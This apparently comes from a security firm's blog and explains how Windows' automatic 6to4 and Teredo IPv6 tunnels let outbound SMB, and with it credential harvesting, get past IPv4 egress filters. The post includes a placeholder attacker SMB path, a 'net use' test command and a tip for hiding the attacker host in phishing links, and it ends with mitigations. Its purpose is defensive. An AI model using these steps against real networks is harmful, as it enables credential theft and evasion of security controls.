Will Dormann just posted a CERT/CC blog post about using outbound SMB connections to harvest Windows credentials via OLE objects. While most enterprises probably block outbound SMB over IPv4, they might not realize that you can also make outbound SMB connections via IPv6 or by tunneling IPv6 over IPv4. We did a blog post about circumventing IPv4 firewall rules with IPv6 tunnels back in 2009, but this seemed like a good time to revisit the state of IPv6 tunnels.

If your organization is intentionally running IPv6 and allowing IPv6 connections to the Internet, you are probably (hopefully!) mirroring any IPv4 ACLs on IPv6 as well, such as blocking SMB, non-proxied HTTP/HTTPS, etc. As security professionals, though, we don't take anything for granted, so it's worth testing to make sure.

However, it's also possible to tunnel IPv6 connections inside IPv4 packets. In fact, this ability is built into Windows. Here's how it works:

Windows versions before 10 automatically set up a "6to4" network interface. This gives the computer (or virtual machine) an IPv6 address in the range 2002::/16 (the specified range for 6to4.) Any connections to IPv6 addresses (for example, ipv6.google.com is 2607:f8b0:4004:810::200e) are encapsulated inside an IPv4 packet with a protocol type of 41 and a destination address of 192.88.99.1. That particular IPv4 address is a deprecated anycast address that any 6to4 relay is allowed to respond to. The IPv6 packets will therefore be encapsulated as IPv4 and be forwarded to the first relay with that address it can find. The relay will then strip the IPv4 information and forward the IPv6 traffic over the IPv6 Internet as usual. Replies to your Windows computer's IPv6 address (2002:...) will go to a 6to4 relay and be sent back with a source address of 192.88.99.1.

So what does that mean? If I use Will's OLE attack or any other method of tricking a target into accessing an SMB share, I can set the destination to be an IPv6 address, such as \\2006:[XXXX]\path_to_evil_application, rather than IPv4. A Windows client will happily connect to that server via IPv6 (if your network supports it) or via a 6to4 tunnel... bypassing any filters you have on outbound SMB TCP and UDP ports on IPv4. Of course, this could also be used to bypass other forms of egress filtering.

I did some testing to see how well this still works in Windows. A base install of Windows 10 sets up a Teredo adapter and assigns an IPv6 address, but does not set up a 6to4 adapter. Microsoft seems to have deprecated its Teredo servers, so Windows 10 will not send IPv6 to the Internet over a tunnel by default, at least in my tests. Server 2016 acts the same as Windows 10. However, all of the other versions I've tried did set up a 6to4 tunnel and route IPv6 traffic over it to 192.88.99.1 (even though that address has been deprecated by the IETF standards.) This includes Windows 7, 8, 8.1, Vista, 2008, 2008 R2 and 2012 R2. All were fully patched. Some configurations did not work; for example, a host behind a NAT generally cannot use 6to4 tunnels.

If you want to test this yourself, all you need to do is set up an SMB server on the Internet, outside of your organization's networks. I used an Amazon EC2 instance. I ran samba on a Linux instance and configured it to only respond to SMB via IPv6. I created a file on the share and an SMB user. To connect from Windows, you can then use either the command line via:

net use z: \\[IPv6 address of your external server]\path -U user password

or via Windows Explorer, although in the latter you need to rewrite the IPv6 address in Windows-friendly format. E.g. the IPv6 address 2600:1111:2222:3333:4444:5555:6666:7777, would be:

2600-1111-2222-3333-4444-5555-6666-7777.ipv6-literal.net\path

Of course, in a phishing email you could replace the IP address with a domain name that only provides a AAAA (IPv6) address to make it look less suspicious.

To mitigate this, you can block outbound traffic using IP protocol 41 and/or traffic to/from the address 192.88.99.1. However, it's worth noting that Windows devices such as laptops will frequently be used on other networks (home, airport, hotel, coffee shop, etc.) Therefore we also recommend IPv6-aware host based firewalls and disabling the 6to4 and Teredo interfaces if you don't need them. The built-in Windows Firewall, for example, will apply the same layer 4 rules to both IPv6 and 6to4 tunnels as it does to IPv4.

This post focuses on attackers getting an initial foothold by providing links that use the automatic tunnels set up in Windows. There are many other ways for attackers who have already compromised a host to use 6to4, Teredo and raw IPv6 to attempt to evade egress filtering. There is some excellent advice, particularly about Teredo, in this post by Symantec.

In summary, automatic IPv6 tunnels are still widely, and automatically, deployed on Windows. Your organization should consider this when discussing exfiltration, data loss prevention, egress filtering, and the like.